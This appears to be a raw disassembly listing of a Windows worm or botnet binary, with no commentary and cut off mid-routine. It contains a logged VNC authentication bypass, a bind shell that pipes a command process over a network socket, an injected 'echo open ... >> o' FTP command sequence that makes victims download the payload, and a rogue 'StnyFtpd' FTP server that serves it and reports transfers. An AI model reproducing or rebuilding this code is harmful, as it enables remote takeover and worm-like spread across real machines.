		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40D571
		push	1
		push	offset dword_4C96CC
		push	ebx
		call	sub_40D2CF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40D296
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D571
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_4194C5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40D501
		push	edi
		push	esi
		push	ebx
		call	sub_40D296
		add	esp, 0Ch


loc_40D501:				; CODE XREF: .nsp0:0040D4F4j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_417E90
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_408C5D
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_413B5E
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_433878[eax]
		push	ebx
		lea	eax, dword_433878[eax]
		call	dword_423200	; closesocket
		push	1
		pop	eax
		jmp	short loc_40D57A
; ---------------------------------------------------------------------------


loc_40D571:				; CODE XREF: .nsp0:0040D38Ej
					; .nsp0:0040D3B3j ...
		push	ebx
		call	dword_423200	; closesocket


loc_40D578:				; CODE XREF: .nsp0:0040D378j
		xor	eax, eax


loc_40D57A:				; CODE XREF: .nsp0:0040D56Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D57F	proc near		; DATA XREF: sub_40D60D+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40D588:				; CODE XREF: sub_40D57F+25j
					; sub_40D57F+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CC53C
		call	dword_4C9818	; recv
		test	eax, eax
		jle	short loc_40D588
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CC538
		call	dword_4230E0	; WriteFile
		jmp	short loc_40D588
sub_40D57F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D5C2	proc near		; DATA XREF: sub_40D60D+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40D5CB:				; CODE XREF: sub_40D5C2+2Fj
					; sub_40D5C2+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CC52C
		call	dword_4230E8	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40D5CB
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CC53C
		call	dword_4C984C	; send
		jmp	short loc_40D5CB
sub_40D5C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40D60D	proc near		; DATA XREF: sub_401AC7+2883o

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4C9800	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4C987C	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4C982C	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4C9828	; listen
		mov	ebx, dword_4230FC
		mov	esi, dword_423068


loc_40D68D:				; CODE XREF: sub_40D60D+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4C9890	; accept
		mov	dword_4CC53C, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CC538
		push	offset dword_4CC534
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CC530
		push	offset dword_4CC52C
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_417AA0
		mov	eax, dword_4CC534
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CC530
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		push	dword_4CC530
		call	dword_4230F8	; GetCurrentProcess
		push	eax
		call	dword_4230F4	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_43596C
		push	edi
		call	dword_42306C	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40D5C2
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42307C	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40D57F
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_42307C	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4230A0	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4230AC	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4230AC	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4230F0	; TerminateProcess
		push	dword_4CC534
		call	esi	; CloseHandle
		push	dword_4CC538
		call	esi	; CloseHandle
		push	dword_4CC52C
		call	esi	; CloseHandle
		push	dword_4CC530
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40D68D
sub_40D60D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D7DD	proc near		; DATA XREF: .nsp0:00425010o
		jmp	$+5
sub_40D7DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D7E2	proc near
		push	0FFFEh
		push	400h
		call	sub_415759
		pop	ecx
		mov	dword_4CC544, eax
		pop	ecx
		retn
sub_40D7E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7F9	proc near		; DATA XREF: sub_40ABD2+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4C9800	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4C987C	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40D8A0
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40D880
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D880:				; CODE XREF: sub_40D7F9+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_40D8A0:				; CODE XREF: sub_40D7F9+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4C982C	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40D99B
		call	dword_4C979C	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40D920
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40D900
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D900:				; CODE XREF: sub_40D7F9+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_40D920:				; CODE XREF: sub_40D7F9+DEj
		push	0FFFEh
		push	ebx
		call	sub_415759
		pop	ecx
		mov	dword_4CC544, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4C982C	; bind
		cmp	eax, esi
		jnz	short loc_40D99B
		call	dword_4C979C	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40D97B
		cmp	eax, 2740h
		jz	short loc_40D97B
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D97B:				; CODE XREF: sub_40D7F9+159j
					; sub_40D7F9+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread


loc_40D99B:				; CODE XREF: sub_40D7F9+CDj
					; sub_40D7F9+14Cj
		push	5
		push	edi
		call	dword_4C9828	; listen
		cmp	eax, esi
		jz	loc_40DA80
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_4250E4


loc_40D9B8:				; CODE XREF: sub_40D7F9+1D7j
					; sub_40D7F9+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4C9890	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40D9B8
		cmp	[ebp+var_1C], 0
		jnz	short loc_40D9F9
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_408C5D
		add	esp, 14h


loc_40D9F9:				; CODE XREF: sub_40D7F9+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413B5E
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9818	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D9B8
		push	esi
		push	esi
		push	dword_4C9540
		push	[ebp+var_B0]
		call	sub_409D1D
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_417E90
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D9B8
		inc	dword_4CC54C
		jmp	loc_40D9B8
; ---------------------------------------------------------------------------


loc_40DA80:				; CODE XREF: sub_40D7F9+1ADj
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+var_AC]
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_40D7F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA9B	proc near		; DATA XREF: sub_40ABD2+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4231D4	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_423204	; socket
		mov	esi, dword_4231D8
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4231DC	; ioctlsocket
		mov	ax, word ptr dword_4C9540
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4C9800	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4231E0	; bind
		test	eax, eax
		jge	short loc_40DB61
		mov	eax, ebx
		jmp	loc_40E0BE
; ---------------------------------------------------------------------------


loc_40DB61:				; CODE XREF: sub_40DA9B+BDj
		push	0Ah
		push	edi
		call	dword_4231E4	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_423208
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40DB7F:				; CODE XREF: sub_40DA9B+11Dj
					; sub_40DA9B+61Bj
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_42320C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E0BB
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40DB7F


loc_40DBBA:				; CODE XREF: sub_40DA9B+615j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417AA0
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40E0A9
		cmp	edi, [ebp+var_8]
		jnz	short loc_40DC71
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_4231E8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E0A9
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40DC3B
		lea	edx, [ebp+var_228]


loc_40DC2B:				; CODE XREF: sub_40DA9B+19Ej
		cmp	[edx], eax
		jz	short loc_40DC3B
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40DC2B


loc_40DC3B:				; CODE XREF: sub_40DA9B+188j
					; sub_40DA9B+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40DC59
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40DC59
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40DC59:				; CODE XREF: sub_40DA9B+1A6j
					; sub_40DA9B+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40DC61
		mov	[ebp+var_4], eax


loc_40DC61:				; CODE XREF: sub_40DA9B+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40E0A9
; ---------------------------------------------------------------------------


loc_40DC71:				; CODE XREF: sub_40DA9B+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4231FC	; recv
		test	eax, eax
		jg	short loc_40DCD8
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40DCCC
		lea	eax, [ebp+var_228]


loc_40DC98:				; CODE XREF: sub_40DA9B+207j
		cmp	[eax], edi
		jz	short loc_40DCA6
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40DC98
		jmp	short loc_40DCCC
; ---------------------------------------------------------------------------


loc_40DCA6:				; CODE XREF: sub_40DA9B+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40DCC6
		lea	eax, [ebp+ecx*4+var_228]


loc_40DCB2:				; CODE XREF: sub_40DA9B+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40DCB2


loc_40DCC6:				; CODE XREF: sub_40DA9B+20Ej
		dec	[ebp+var_22C]


loc_40DCCC:				; CODE XREF: sub_40DA9B+1F5j
					; sub_40DA9B+209j
		push	edi
		call	dword_423200	; closesocket
		jmp	loc_40E0A9
; ---------------------------------------------------------------------------


loc_40DCD8:				; CODE XREF: sub_40DA9B+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_418B45
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_418570
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40DD1C
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD1C:				; CODE XREF: sub_40DA9B+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD3D
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD3D:				; CODE XREF: sub_40DA9B+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD5E
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD5E:				; CODE XREF: sub_40DA9B+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD7F
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40DD9E
; ---------------------------------------------------------------------------


loc_40DD7F:				; CODE XREF: sub_40DA9B+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_435BBC
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDA4
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40DD9E:				; CODE XREF: sub_40DA9B+27Cj
					; sub_40DA9B+2A0j ...
		push	edi
		jmp	loc_40E092
; ---------------------------------------------------------------------------


loc_40DDA4:				; CODE XREF: sub_40DA9B+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDE0
		lea	eax, [ebp+var_338]
		push	offset aA	; "A"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDE0
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DDE0:				; CODE XREF: sub_40DA9B+31Fj
					; sub_40DA9B+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE17
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE17
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DE17:				; CODE XREF: sub_40DA9B+356j
					; sub_40DA9B+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE62
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40DE55:				; CODE XREF: sub_40DA9B+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40E094
; ---------------------------------------------------------------------------


loc_40DE62:				; CODE XREF: sub_40DA9B+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEA3
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40DE55
; ---------------------------------------------------------------------------


loc_40DEA3:				; CODE XREF: sub_40DA9B+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DF71
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418B45
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_417C89
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_417C89
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_417AA0
		push	[ebp+var_C]
		lea	eax, [ebp+var_FC]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_417D96
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_4182BE
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_417D96
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40E08F
; ---------------------------------------------------------------------------


loc_40DF71:				; CODE XREF: sub_40DA9B+41Dj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E070
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+arg_0]
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40E0C5
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40E066
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40DFF3
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408C5D
		add	esp, 14h


loc_40DFF3:				; CODE XREF: sub_40DA9B+533j
		call	sub_40E142
		cmp	eax, 1
		jnz	loc_40E094
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40E051
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
